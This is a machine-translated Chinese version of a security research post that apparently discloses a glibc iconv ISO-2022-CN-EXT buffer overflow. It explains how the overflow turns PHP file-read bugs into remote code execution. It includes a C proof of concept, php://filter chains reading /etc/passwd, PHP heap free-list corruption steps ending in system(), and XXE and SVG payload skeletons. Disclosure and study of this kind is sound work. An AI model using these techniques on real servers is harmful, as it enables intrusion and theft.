作者 | 修订时间 |
---|---|
2024-06-12 15:25:25 |
几个月前,我偶然在 glibc(Linux 程序的基础库)中发现了一个已有 24 年历史的缓冲区溢出。尽管可以在多个知名库或可执行文件中访问,但它被证明很少可利用——虽然它没有提供太多的回旋余地,但它需要难以实现的先决条件。寻找目标主要会导致失望。然而,在PHP上,这个错误大放异彩,并被证明在以两种不同的方式利用其引擎方面很有用。
由于材料数量众多,该错误的影响和利用将记录在由三部分组成的系列中。在本系列的第一部分中,我将描述我是如何遇到这个错误的,为什么合适的目标很少见,最后深入研究 PHP 引擎,演示一种新的利用向量:在 PHP 应用程序中将文件读取原语转换为远程代码执行。
如果您不熟悉 Web 开发、PHP 或 PHP 引擎,请不要介意:我将在此过程中解释相关概念。
让我们首先介绍基础知识。假设在执行评估时,发现一个文件读取原语,如下所示:
echo file_get_contents($_GET['file']);
你能用它做什么?好吧,显然,读取文件。例如,您可以阅读 /etc/passwd
。但是 PHP 还允许您使用其他协议,例如 http://
或 ftp://
.因此,您可以要求 PHP 为您获取 google 的首页,使用 http://google.com
;或从 FTP 服务器下载文件,使用 ftp://user:passwd@ftp.target.com/file.bin
.但这还不是全部;PHP 还实现了自定义协议,例如 phar://
.
phar://
允许您在 PHAR 存档中读取。PHAR 代表 PHP 存档,就像 JAR 代表 Java 存档一样。它是一组文件,例如:
多年来,该协议一直是PHP的垮台,因为当您使用它访问PHAR文件时,其元数据会被反序列化。通常的 PHAR 攻击如下所示:
phar:///path/to/file.phar/test
可以通过多种方式将反序列化转换为代码执行,但人们通常依赖于 PHP 上的首选反序列化工具 PHPGGC。
PHAR 攻击的影响怎么强调都不为过。自 2018 年创建以来,它们一直是在 PHP 目标上获得外壳的关键。但派对即将结束:
phar://
不再反序列化元数据。(无论如何,他们都没有使用元数据,所以为什么要反序列化它)。这将完全杀死 PHAR 攻击。phar://
随着时间的流逝,反序列化将变得越来越难以利用:图书馆正在修补其反序列化链,而打字正在卷土重来,从而大大减少了反序列化路径。
phar://
并不是唯一对攻击者有用的协议;另一个也产生了很好的结果: php://filter
.几年来,人们对另一种特定于 PHP 的协议产生了兴趣 php://filter
(如果名称不明显的话)。它提供了一种在返回流之前将转换应用于流的方法。语法为:
php://filter/[filters...]/resource=[resource]
资源可以是我们在上一节中已经讨论过的任何内容:一个简单的文件、一个 HTTP 响应、一个来自 FTP 服务器的文件……
筛选器是您希望 PHP 应用于流的转换列表。在这里,我们要求 PHP 使用 convert.base64-encode
过滤器将资源的内容转换为 base64:
php://filter/convert.base64-encode/resource=/etc/passwd
它返回:
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYXNoCmJpbjp4OjE6MTpiaW46L2Jpbjovc2Jpbi9u
b2xvZ2luCmRhZW1vbjp4OjI6MjpkYWVtb246L3NiaW46L3NiaW4vbm9sb2dpbgphZG06eDozOjQ6
...
Yi92bnN0YXQ6L2Jpbi9mYWxzZQpyZWRpczp4OjEwMjoxMDM6cmVkaXM6L3Zhci9saWIvcmVkaXM6
L2Jpbi9mYWxzZQo=
您可以根据需要添加任意数量的过滤器。在这里,我要求 PHP 对流进行两次 base64 编码:
php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd
我得到:
Y205dmREcDRPakE2TURweWIyOTBPaTl5YjI5ME9pOWlhVzR2WVhOb0NtSnBianA0T2pFNk1UcGlh
...
RXdNam94TURNNmNtVmthWE02TDNaaGNpOXNhV0l2Y21Wa2FYTTZMMkpwYmk5bVlXeHpaUW89
显然,base64 编码并不是您唯一可以做的事情。有许多过滤器可用。它们包括:
string.upper
, which converts a string to uppercase
string.upper
,将字符串转换为大写string.lower
, which converts a string to lowercase
string.lower
,将字符串转换为小写string.rot13
, which does some BC crypto
string.rot13
,它做了一些 BC 加密convert.iconv.X.Y
, which converts charset from X
to Y
convert.iconv.X.Y
,这会将 charset 从 X
转换为 Y
让我们看一下最后一个过滤器: convert.iconv.X.Y
.假设我需要将我的文件从 UTF8 转换为 UTF16。我可以使用:
php://filter/convert.iconv.UTF-8.UTF-16/resource=/etc/passwd
它给出(十六进制形式):
00000000: fffe 7200 6f00 6f00 7400 3a00 7800 3a00 ..r.o.o.t.:.x.:.
00000010: 3000 3a00 3000 3a00 7200 6f00 6f00 7400 0.:.0.:.r.o.o.t.
...
00000a40: 2f00 6200 6900 6e00 2f00 6600 6100 6c00 /.b.i.n./.f.a.l.
00000a50: 7300 6500 0a00 s.e...
大量的过滤器和链接它们的可能性导致了对 PHP 的一些伟大研究,例如 here、here 或 here。事实上,使用精确选择的过滤器(过滤器链),攻击者可以做一些奇妙的事情,例如完全更改文件的内容,或者使用基于错误的预言机逐个提取其字节。
例如,这里有一个过滤器链,它预设 Hello world!
为 /etc/passwd
:
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|
convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM860.UTF16|
convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|
convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|
convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|
convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|
convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|
convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L5.UTF-32|
convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.ISO2022KR.UTF16|
convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|
convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|
convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd
结果:
Hello, world!!!root:x:0:0:root:/root:/bin/bash...
可悲的是,文件读取并不总是像以下那样容易:
echo file_get_contents($_POST['file']);
通常,文件不会按原样返回,但会以某种方式对其进行解析或检查。举个例子,我经常遇到这段代码的变体,它要求你的文件是有效的 JSON:
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
我们在这里读取了一个文件,但内容随后被 JSON 反序列化,并且只返回文档的一部分。为了读取标准文件,例如 /etc/passwd
,我们需要向流添加任意前缀和后缀。像这样: {"message": "<contents-of-/etc/passwd>"}
.在 2023 年底,情况是您可以使用 php://filter
链为流添加前缀,但不能添加后缀。因此,我开始研究一种算法来做后者。
当时,我对字符集或编码一无所知(老实说,我仍然不知道其中的区别)。首先,我构建了一个暴力破解脚本,该脚本将几个 iconv
过滤器堆叠在一起,并显示结果。像这样:
php://filter/convert.iconv.A.B/convert.iconv.C.D/convert.iconv.E.F/resource=data:,test123
在某个时候,我的“模糊器”崩溃了。 我一生中大部分时间都在与PHP打交道,我很快就指手画脚。但我不知道的是,这个错误在调用链中的位置要低得多:一直到glibc。
注意:该研究产生了一个于 2023 年 12 月发布的工具:wrapwrap.。
iconv()
API当PHP从一个字符集转换为另一个字符集时,它使用iconv,这是一个API,“使用转换描述符将输入缓冲区中的字符转换为输出缓冲区”。在 Linux 上,此 API 由 glibc 实现。
API 非常简单。首先打开一个转换描述符,该描述符指示输入和输出字符集。
iconv_t iconv_open(const char *tocode, const char *fromcode);
然后,您可以使用 iconv()
将输入缓冲区 inbuf
转换为输出缓冲区中 outbuf
的新字符集。
size_t iconv(iconv_t cd,
char **restrict inbuf, size_t *restrict inbytesleft,
char **restrict outbuf, size_t *restrict outbytesleft);
缓冲区管理由调用方负责。如果输出缓冲区不够大, iconv()
将返回一个错误,指示如此,您将能够通过再次调用 iconv()
重新分配 outbuf
并继续转换。该函数保证的是,它永远不会从 inbuf
中读取超过 inbytesleft
字节的字节数,也不会向 outbuf
写入超过 outbytesleft
字节数的字节数。从不?好吧,理论上……
碰巧的是,在将数据转换为 ISO-2022-CN-EXT
字符集时,iconv 可能无法在写入输出缓冲区之前检查输出缓冲区中是否有足够的空间。
实际上, ISO-2022-CN-EXT
它实际上是一个字符集的集合:当它需要对字符进行编码时,它会选择适当的字符集,并发出一个转义序列,指示解码器需要切换到这样的字符集。
下面的代码是负责发出此类转义序列的部分。它由 3 if
个块组成,每个块将不同的转义序列写入 outbuf
(指向)。 outptr
如果你看一下第一个 [1] ,你可以看到它以另一个 if()
块为前缀,该块检查输出缓冲区是否足够大以容纳 4 个字符。另外两个 if()
[2][3] 则没有。因此,转义序列可能会被写入越界。
// iconvdata/iso-2022-cn-ext.c
/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
{
const char *escseq;
if (outptr + 4 > outend) // <-------------------- BOUND CHECK
{
result = __GCONV_FULL_OUTPUT;
break;
}
assert(used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
{
const char *escseq;
// <-------------------- NO BOUND CHECK
assert(used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
{
const char *escseq;
// <-------------------- NO BOUND CHECK
assert((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS3_ann) | (used << 8);
}
}
要触发 bug,我们需要在输出缓冲区结束之前强制 iconv()
发出转义序列。为此,我们可以使用外来字符,例如: 劄
、 䂚
或 峛
湿
。结果是 1 到 3 个字节的溢出,其值如下:
$*H
[24 2A 48
]$+I
[24 2B 49
]$+J
[24 2B 4A
]$+K
[24 2B 4B
]$+L
[24 2B 4C
]$+M
[24 2B 4D
]快速POC 演示了该错误:
/*
$ gcc -o poc ./poc.c && ./poc
*/
...
void hexdump(void *ptr, int buflen)
{
...
}
void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄";
char output[0x10] = {0};
char *pinput = input;
char *poutput = output;
// Same size for input and output buffer: 8 bytes
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zd\n", soutput);
hexdump(output, 0x10);
}
这在易受攻击的系统上产生:
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAA A.$* H... ....
已经写了九个字节,尽管告诉 iconv()
最多写八个字节。
Checking the commit history, I noticed that the bug was very old: it appeared in year 2000, making it 24 years old. 检查提交历史记录,我注意到这个错误非常古老:它出现在 2000 年,距今已有 24 年的历史。 现在,这个错误可以做什么?
有了这个漏洞,我有一个 1 到 3 个字节的溢出,其中包含非受控字符。这并不多。除此之外,还有先决条件。我需要找到一个电话, iconv()
其中我:
ISO-2022-CN-EXT
)
控制输出字符集 ( ISO-2022-CN-EXT
)考虑到这一点,我开始寻找目标。从在我的 /lib
目录 /bin
iconv
中学习到迭代数百个 OSS 项目,我发现了一些有趣的目标。实际上没有一个是可利用的。
举个例子,让我们看一个非常有前途的目标: libxml2
.
libxml2 仅处理 UTF-8 格式的 XML。如果 XML 文档不是 UTF-8,它将被转换为它,然后进行处理,然后在完成所有操作后转换回其原始字符集。转换是使用 iconv()
.
因此,我们可以通过这样的文件满足我们的先决条件:
<?xml version="1.0" encoding="ISO-2022-CN-EXT"?>
<root>&21124;</root>
注意:21124 是 劄 的 unicode 代码位。
现在,请记住:缓冲区管理是调用方的责任。当用于 iconv()
将我们的文档转换回其原始字符集时 libxml2
,它会分配一个输出缓冲区,该缓冲区是输入缓冲区(代码)的 4 倍。对我们来说太大了:我们无法达到缓冲区的边界以溢出。死胡同。
另一个有趣的目标是 pkexec,一个存在于许多 linux 发行版中的 setuid 二进制文件。二进制文件允许您通过设置 CHARSET
环境变量来为其输出的每条消息选择字符集。例:
$ CHARSET=ISO-2022-CN-EXT pkexec 'trigger劄' 2>&1 | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 43 61 6e 6e 6f 74 20 72 ┊ 75 6e 20 70 72 6f 67 72 │Cannot r┊un progr│
│00000010│ 61 6d 20 74 72 69 67 67 ┊ 65 72 1b 24 2a 48 1b 4e │am trigg┊er•$*H•N│
│00000020│ 4c 61 0f 3a 20 4e 6f 20 ┊ 73 75 63 68 20 66 69 6c │La•: No ┊such fil│
│00000030│ 65 20 6f 72 20 64 69 72 ┊ 65 63 74 6f 72 79 0a │e or dir┊ectory_ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
在内部, pkexec
使用 输出 GLib
其消息。它执行以下操作:
#define NUL_TERMINATOR_LENGTH 4
outbuf_size = len + NUL_TERMINATOR_LENGTH;
outbytes_remaining = outbuf_size - NUL_TERMINATOR_LENGTH;
outp = dest = g_malloc (outbuf_size);
...
err = g_iconv (converter, NULL, &inbytes_remaining, &outp, &outbytes_remaining);
虽然它分配了 N + 4 字节的缓冲区,但它只告诉 iconv 关于 N 个字节。我们的溢出最多有 3 个字节长。因此,无论我们多么努力,我们都无法到达缓冲区之外。
另一个死胡同。
满怀失望,我只能更新我的要求清单。要利用此漏洞,我们需要:
ISO-2022-CN-EXT
)即使找了几天,我也没有找到一个有效的目标。盲目地在库和二进制文件中寻找 iconv()
调用,浏览开源生态系统,寻找该错误的可触发实例,我拼命寻找崩溃。一。崩溃。无济于事。
为了重新燃起希望,我又回到了PHP:毕竟,它确实崩溃了,我甚至没有要求它。
目标很简单:将无聊的文件读取漏洞转换为远程代码执行。
注意:在本节中,以及在描述PHP内部结构的每个部分中,我将进行近似值并忽略某些内容。
为了达到这个目的,我们需要了解PHP堆是如何工作的(至少是其中的一部分)。别担心,这是一个非常简单的堆。
要使用 PHP 进行分配,请使用 ,将 与 N 一起使用 emalloc(N)
所需的字节数。您将返回指向至少可以存储 N 个字节的块(内存块)的指针。完成块后,使用 efree(ptr)
.PHP 有各种大小的块(8、0x10、0x18、…0x200,0x280,……
PHP 堆由一个 2MB 的区域组成,分为 512 页,每页 0x1000 字节。每个页面可能包含特定大小的块。例如,第 10 页可能包含大小为 0x100 的块、第 11 页大小为 0x38 的块、第 12 页大小为 0x180 的块等。块之间没有元数据。
当您释放一个块时,它会被放在一个称为释放列表的单向链表的开头。每个块大小都有一个免费列表。例如,如果我要释放大小为 0x38 块,它将进入大小为 0x38 块的可用列表中。如果我释放了一大块大小0x200,它就会进入大块0x200的免费列表中……
为了分配 N 个字节,PHP 会查看可用列表中的相应块大小,取出磁头并返回它。如果可用列表为空(即所有可用的块都已分配),PHP 会查看堆元数据以查找未使用的页面。然后,它会在这样的页面中创建空块,并将它们放在空闲列表中。
免费列表是后进先出,这意味着当我释放一定大小的块时,它将成为免费列表的头部。当我分配时,头部被取出。这与 glibc 的 tcache 非常相似,但不受限制。
PHP 堆的可视化表示
在上面的示例中,我们在左侧有一个堆的可视化表示。它包含 512 页,此处第 5 页存储了大小为 0x400 的块。如果我们看一下这个页面的内容,我们可以看到它包含 4 个块(因为 4 × 0x400 = 0x1000,一个页面的大小)。在这里,分配了块 #1 和 #3,并释放了块 #2 和 #4。因此,它们在大小为 0x400 块的免费列表中。
空闲列表是一个单链表,每个未分配的块都包含指向下一个空闲块的指针作为其前 8 个字节。这就是我们在块 #2 中看到的:指向 0x7ff10201400 的指针,这是大小为 0x400 的下一个空闲块的地址。现在,如果我们要从块 #1 溢出到块 #2,我们将覆盖此指针。这是一个很好的漏洞利用起点:即使有一个字节的溢出,我们也可以更改一个空闲列表指针,从而改变空闲列表。
应该注意的是,PHP为每个HTTP请求创建一个新堆。这是使远程 PHP 开发变得困难的原因之一——但这将在第 2 部分中介绍。
现在我们知道了 PHP 是如何分配和取消分配的,我们可以看看 PHP 如何处理 php://filter/
字符串。我们很幸运:我们不需要深入了解内部 PHP 结构的细节,例如 zval
、 zend_string
、 zend_array
等。
为了处理过滤器,PHP 将首先获取流(即读取资源)。它将流存储在存储桶的集合中,这些存储桶是双链接结构,每个存储桶都包含一定大小的缓冲区。按照我们的 /etc/passwd
示例,我们可能有 3 个存储桶:第一个存储桶可能包含文件的前 5 个字节,第二个存储桶包含 30 多个字节,第三个存储桶包含 1000 个字节。它们联系在一起,构成了一个水桶旅。
一个由 3 个铲斗组成的铲斗大队,其中包含 /etc/passwd
这是将流表示为各种大小的缓冲区集合的标准方法。您可以将其想象为通过网络接收的数据包列表。数据包 1 包含前 N 个字节的数据,数据包 2 包含接下来的 M 个字节,依此类推。
现在,PHP 已经将资源的内容读入流中,由存储桶旅表示,它可以对其应用过滤器。它采用第一个筛选器,并处理第一个存储桶。为此,它会分配一个与存储桶缓冲区大小相同的输出缓冲区(在我们的示例中为 5 个字节),并进行转换。例如,如果筛选器是 string.upper
,它会将输入缓冲区中的每个小写字符转换为输出缓冲区中的大写字符。然后,它可以创建一个指向此缓冲区的新存储桶。
申请 string.upper
水桶大队
然后,它处理存储桶 2,然后处理存储桶 3,依此类推,直到到达最后一个存储桶。现在,它有一个包含每个输出桶的新铲斗旅。它现在可以将第二个过滤器应用到这个旅上,并继续前进,直到处理完最后一个过滤器。
我们已经完成了定义。让我们回到我们最初的漏洞:文件读取。
echo file_get_contents($_GET['file']);
现在,我们可以使用 convert.iconv.XXX.ISO-2022-CN-EXT
过滤器触发内存损坏,我们需要远程执行代码。而且它看起来并不难利用。
首先,由于我们有一个文件读取原语,我们可以读取二进制文件(PHP、Apache 等)。我们甚至可以下载libc并检查它是否已修补!我们也不关心 ASLR 和 PIE:我们可以阅读 /proc/self/maps
.最后,感觉我们几乎可以使用存储桶任意分配或解除分配缓冲区,这很方便。
另一方面,在许多情况下,你可以让文件读取原语:你可能在运行在 PHP 7.0 上的 Symfony 4.x 上,或者在 PHP 8.3 上运行的晦涩的 Wordpress 插件中,甚至在黑盒评估期间。理想的漏洞利用需要具有弹性:它必须针对大多数目标,无需任何调整。
考虑到所有这些,让我们开始开发。这个想法是使用单字节缓冲区溢出来修改指向可用块的指针的 LSB,以便控制一些可用列表。
我们面临的第一个问题是,尽管有 bucket brigade 技术,但 PHP 只创建一个 bucket。如果您读取一个文件,您将获得一个包含整个文件的存储桶。如果您请求 HTTP URL,PHP 将创建一个包含整个 HTTP 响应的存储桶。和 ftp://
,一个桶。至少可以说,这是非常不切实际的:我们不能使用水桶来填充堆,喷洒东西,甚至使用更改后的免费列表。
想一想:使用单个存储桶,我们可以溢出到一个空闲区块中并修改一个空闲列表,但是我们没有了存储桶,我们至少需要 2 个分配才能使用我们更改的空闲列表!
幸运的是,有一种过滤器可以挽救这一天: zlib.inflate
.这个过滤器会获取我们的流并对其进行解压缩。为此,它分配了一个 8 页(0x8000 字节)的缓冲区,并将我们的流膨胀到其中。如果它不够大,它会创建一个相同大小的新缓冲区来存储其余数据。如果这两者仍然不够,它会创建另一个缓冲区。然后将每个缓冲区添加到存储桶中。完美:我们可以使用这个过滤器来创建任意数量的存储桶,这是向前迈出的一大步。
申请 zlib.inflate
创建多个存储桶
但是,这些存储桶具有大小为 0x8000 的缓冲区,这不是一个很好的利用大小;缓冲 这些大小的分配方式与我告诉你的方式不同,并且在释放时不会进入可用列表。我们需要调整存储桶的大小。
为此,我们将使用一个 PHP 未记录但攻击者所熟知的过滤器: dechunk
.此筛选器解码 HTTP 分块编码的字符串。
HTTP-chunked 是一种非常简单的编码,您可以在其中按块(不是堆块,数据块)发送数据。首先,发送一个大小为 ASCII-hex,后跟一个换行符,然后是相应大小的数据块,后跟一个换行符。然后,发送另一个大小、另一个块、另一个大小、另一个块,并通过发送大小 0(零)来指示数据的结束。
使用 HTTP 分块编码编码的数据
在此示例中,第一个块长 8 个字节,第二个块长 17 个字节 (11h),最后一个块长 13 个字节。在 ing 之后 dechunk
,结果将是: This is how the chunked encoding works
。
使用此过滤器,调整存储桶的大小听起来像是儿戏:在每个存储桶中,我们以所需的大小为数据添加前缀(例如,第一个存储桶为 0x148,第二个存储桶为 0x100 等),然后放置数据,然后最后一个 0 表示我们完成了。
设置存储 dechunk
桶*
它看起来不错,但它不起作用。虽然是单独处理的,但存储桶不是独立的:它们都被解析为一个大流。 dechunk
当筛选器处理流时,它会读取第一个存储桶 0x148 中的大小,取出 0x148 个字节,然后读取大小为零,这会导致它停止解析。它不会进入第二个桶。它只是完全停止解析。我们操作的最终结果是,我们从几个桶(好)回到了一个桶(坏)。
幸运的是,找到一种方法来规避这一点并不难:在每个存储桶中,我们提供一种大小和一个数据块。为此,我们不是天真地写一个大小,而是用数千个零填充它,以便得到这样的东西:
正确设置存储 dechunk
桶
现在,在处理存储桶 1 后,dehunk 解析器跳转到存储桶 2,准备读取新大小,然后跳转到存储桶 3,依此类推。它有效!现在,我们可以创建任意数量的存储桶,并具有所需的大小。我们已经取得了巨大的飞跃。
我们现在的目标是通过覆盖值为 48h( H
在 ASCII 中)的某个指针的 LSB 来更改一些空闲列表。为了无条件地获得相同的效果,我们以大小为 0x100 的块为目标,因为块地址的 LSB 始终为零。这意味着溢出的效果始终相同:将0x48添加到块指针。
为了利用,我们遵循一个非常标准的 6 个步骤。我们将大小为 0x100 块的免费列表命名为 FL[0x100]
。
* FL[0x100]
控制 FL[0x100]
*
考虑到我们已经设法通过分配大量0x100块来填充堆。因此,在内存的某个地方,我们有三个连续的自由块 A
、 B
和 C
, A
并且是 的 FL[100]
。 A
指向 B
,而 指向 C
。我们可以分配其中的 3 个(第 2 步),然后再次释放它们(第 3 步)。在这一点上,免费列表是相反的:我们有 C
→ B
→ A
。然后我们再次分配,但这次我们在偏移 48h
量处 C
放置一个任意指针 0x1122334455
(步骤 4)。我们再次释放它们(步骤 5),并获得与步骤 1 完全相同的状态,但这次略有不同:在 C+48h
,我们有一个任意指针。我们现在可以从 块 A
执行溢出,这会移动包含在 中的 B
指针。它现在指向 C+48h
,因此,免费列表现在 B
C+48h
→→ 0x1122334455
。再分配 3 个,我们可以在任意地址进行 PHP 分配。
我们现在有一个写什么的地方;这快结束了。
但是,让我回到漏洞利用的实现上来。在这里描述的各个步骤中,我们有分配然后释放的块。但是我们无法真正摆脱水桶:我们只能改变它们的大小。但是,我们只对大小0x100块感兴趣。就好像其他块不存在一样。因此,我将每个存储桶构建为一个 HTTP 分块的俄罗斯娃娃:
一个水桶的俄罗斯娃娃:它的大小在每个 dechunk
桶上都变化*
对于漏洞利用的每个步骤, dechunk
都会调用过滤器:因此,每个存储桶的大小都会发生变化。有些尺寸变0x100,从而在剥削中“出现”,有些变小,从而消失。它为我们提供了一种完美的方式,让水桶在特定时刻实现,并在我们不再需要它们时将它们扔掉。
说完这些,让我们开始执行代码。
虽然我们通过阅读 /proc/self/maps
来查看内存区域,但我们并不确切地知道我们在堆中的位置。幸运的是,我们可以通过找到PHP的堆来完全忽略这个问题。由于其对齐方式 (~0x1fffff) 和大小 (2MB),它很容易识别。在它的顶部驻留着一个 zend_mm_heap
结构,其中包含非常有用的字段:
struct _zend_mm_heap {
...
int use_custom_heap;
...
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
...
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
} custom_heap;
};
首先,它包含所有免费列表。通过覆盖空闲列表,我们得到了任意数量的任意大小的写入内容。我们可以用它们来覆盖最后一个字段 custom_heap
,该字段包含 emalloc()
和 efree()
的 erealloc()
替代函数(类似于 glibc 中的 __malloc_hook
及其同级函数)。然后,我们设置为 use_custom_heap
1
,并调用 free()
一个存储桶,为我们提供一个带有受控参数的任意函数调用。由于我们可以使用文件读取访问二进制文件,因此我们可以构建花哨的 ROP 链,但我们想要尽可能通用的东西;因此,我设置为 custom_heap._free
system
,允许我们以 CTF 方式运行任意 bash 命令。
注意:我遗漏了一些(许多)关于漏洞利用的细节,但对漏洞进行了大量评论。
我们的漏洞利用运行了 3 个请求:它下载 /proc/self/maps
,并提取 PHP 堆的地址和 libc 的文件名。然后,它下载 libc 二进制文件以提取 的 system()
地址。最后,它执行执行溢出的最终请求并执行我们的任意命令。
它的表现非常好:
zlib.inflate
和仅 12 个过滤器,有效载荷非常小它是一个小于 1000 字节的单个有效负载,可远程执行 10 年的 PHP 版本代码。
为了说明这一点,我将以运行在 PHP 8.3.x 上的 Wordpress 实例为目标。为了引入文件读取漏洞,我添加了 BuddyForms 插件 (v2.7.7),该插件存在CVE-2023-26326的缺陷。该错误最初被报告为 PHAR 反序列化错误,但 Wordpress 没有任何反序列化小工具链。在任何情况下,目标都运行在 PHP 8+ 上,因此它不容易受到 PHAR 攻击。
注意:如果您阅读原始查找器的公告,您可能会看到,在文件读取基元之前,会执行调用 getimagesize()
以检查文件是否为图像。因此,为了允许漏洞和 libc 读取 /proc/self/maps
,我使用wrapwrap 使它们看起来像 GIF 图像。
对PHP生态有什么影响?这不是一个新的漏洞,而是漏洞的新利用向量。但是,有多种方法可以使 PHP 读取文件;文件读取原语在 Web 应用程序中非常流行。
显然,PHP 的每个标准文件读取接收器都会受到影响: file_get_contents()
、、 file()
、 readfile()
fgets()
、 getimagesize()
SplFileObject->read()
等。文件写入也会受到影响( file_put_contents()
及其同级)。
如果您在 PDO/MySQL 上获得 SQL 注入,您也许可以使用 LOAD DATA LOCAL INFILE
:
LOAD DATA LOCAL INFILE 'php://filter/cnext...';
XXE 现在是 RCE。
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY exploit SYSTEM "php://filter/cnext...">
]>
<root>&exploit;</root>
与 PHAR 攻击相反,仅对文件(如 file_exists()
或 is_file()
)执行检查的函数不受影响。但是,在其他情况下,该漏洞可以用作 PHAR 攻击的替代品,如演示中所示。禁用 phar://
或更新到 PHP 8 不会拯救您。
每个以某种方式操纵 URL 的库都可能容易受到攻击。以下是我在开发漏洞时发现的一些新目标:
例如,PHP-SVG 库可能会受到这样的有效载荷的攻击:
<svg width="100" height="100">
<image href="php://filter/cnext/..." width="1" height="1" />
</svg>
HTML 到 PDF 解析器(如 dompdf、tcpdf 等)也可能是目标。
有时,在攻击PHP时,会遇到以下原语:
new $_GET['cls']($_GET['argument']);
This excellent blogpost from PTswarm describes many ways to get a file read from this primitive, which may all be used to trigger the exploit. Examples include SoapClient
, Imagick
, tidy
, or SimpleXMLElement
.
这篇来自 PTswarm 的优秀博文描述了从这个原语中读取文件的多种方法,这些方法都可能用于触发漏洞利用。示例包括 SoapClient
、 Imagick
、 tidy
或 SimpleXMLElement
。
如果您发现文件读取 unserialize()
小工具链,则可以使用该漏洞将其升级到 RCE。随着最近的应用程序以及 PHP 库越来越多地使用类型这一事实,它可能会派上用场。
只要您控制文件读取或文件写入接收器的前缀,您就拥有了 RCE!
注意:glibc 安全团队速度快、彬彬有礼且技术能力强。他们在一周内发布了一个补丁(以及随之而来的所有补丁)。非常感谢!*
